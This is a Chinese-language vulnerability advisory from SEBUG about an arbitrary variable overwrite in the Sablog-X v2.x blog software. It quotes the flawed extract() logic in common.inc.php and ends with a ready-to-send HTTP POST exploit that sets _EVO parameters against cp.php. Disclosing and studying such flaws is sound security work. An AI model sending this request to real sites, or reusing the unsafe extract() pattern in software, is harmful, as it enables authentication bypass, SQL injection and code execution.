Sablog-X v2.x
Sablog-X v2.x 任意变量覆盖漏洞
SEBUG-ID:19137
SEBUG-Appdir:sablog
Published:2010-02-19
Vulnerable:
Discription:
由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞,导致可以利用extract()来覆盖任意变量,最终导致xss、sql注射、代码执行等很多严重的安全漏洞。
common.inc.php代码里:
....
$onoff = function_exists('ini_get') ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {
@extract($_COOKIE, EXTR_SKIP);
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}
...
$sax_auth_key = md5($onlineip.$_SERVER['HTTP_USER_AGENT']);
list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
...
$seccode = $sessionexists = 0;
if ($sax_hash) {
...
if ($_EVO = $DB->fetch_array($query)){ //$_EVO初始化过程在if ($sax_hash)里,如果这个if条件不满足,将跳过这个初始化过程。
...
}
if(!$sessionexists) {
if($sax_uid) {
if(!($_EVO = $DB->fetch_one_array("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='$sax_uid' AND u.password='$sax_pw' AND u.lastip='$onlineip'"))) {
...
@extract($_EVO); //覆盖任意变量
由上面的代码片断可以看到,只要使$sax_hash和$sax_uid的布尔值为fales,$_EVO就不会被赋值,而$sax_hash和$sax_uid这两个变量来自由$_COOKIE,这样我们可以很容易的控制$_EVO了,然后通过extract()来覆盖任意变量,这将导致xss、sql inj、代码执行等很多严重的安全漏洞:)Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
The following procedures (methods) may contain something offensive,they are only for security researches and teaching , at your own risk!
POST http://127.0.0.1/sax/cp.php HTTP/1.1 Accept: */* Accept-Language: zh-cn Referer: http://127.0.0.1/sax/cp.php Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) Host: 127.0.0.1 Content-Length: 138 Connection: Close _EVO[sax_uid]=1&_EVO[sax_pw]=1&_EVO[sax_logincount]=1&_EVO[sax_hash]=1&_EVO[sax_group]=1&_EVO[sax_auth_key]=1&_EVO[timestamp]=111111111111
SEBUG Solution:
暂无 参考官方补丁
// sebug.net [2010-02-19]